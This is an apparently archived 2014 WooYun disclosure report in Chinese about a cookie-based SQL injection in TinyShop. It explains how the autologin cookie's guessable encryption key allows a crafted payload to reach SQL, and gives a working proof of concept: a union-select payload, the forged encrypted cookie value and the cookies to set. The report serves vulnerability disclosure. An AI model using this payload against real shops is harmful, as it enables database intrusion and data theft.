漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-075082
漏洞标题:tinyshop cookie注入
相关厂商:tinyrise.com
漏洞作者: 路人甲
提交时间:2014-09-09 12:33
修复时间:2014-12-05 12:34
公开时间:2014-12-05 12:34
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-05: 细节向公众公开
简要描述:
cookie没有过滤导致sql注入
详细说明:
首先看cookie的加密:
这里的关键就是self::getSafeCode()
这就说明 整个cookie的加密秘钥无非是三种情况,而且这三种都是用户可以获取的。而且默认就是第一种方式,也就是key=1.
在来看方法:(classes/common.php)
这里获取了autologin 这个cookie值,再来看获取方式:
在这里看到cookie只是在解密后做了一次反序列换转换,这就导致了直接被带入到了后端的sql语句中。
这里以默认的$key=1作为poc例子:
注入的sql语句片段式: ' union select 1,user(),1,1,1,1,1,1,1#
序列化后加密得到密文:bfc8bbdb4aOTkwMDQwMDMxMzkxNGY/MDRkZDBhZjIzPGE4MWA0NzVhOjE9e3EyNTgibW1gbGwiOXI8MzE6KyMgdW5pbm4gc2VtZWN9IjgpdXpley0hLDEuNyoxJTcuMikxKjEjKzt3Ojg6J3lkcHV/bHNkIjtzODE6IjAmOH0
设置cookie:
safecode=1,
Tiny_autologin=bfc8bbdb4aOTkwMDQwMDMxMzkxNGY/MDRkZDBhZjIzPGE4MWA0NzVhOjE9e3EyNTgibW1gbGwiOXI8MzE6KyMgdW5pbm4gc2VtZWN9IjgpdXpley0hLDEuNyoxJTcuMikxKjEjKzt3Ojg6J3lkcHV/bHNkIjtzODE6IjAmOH0
然后访问首页即可看到用户名
漏洞证明:
修复方案:
你们比我专业
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-12-05 12:34
厂商回复:
最新状态:
暂无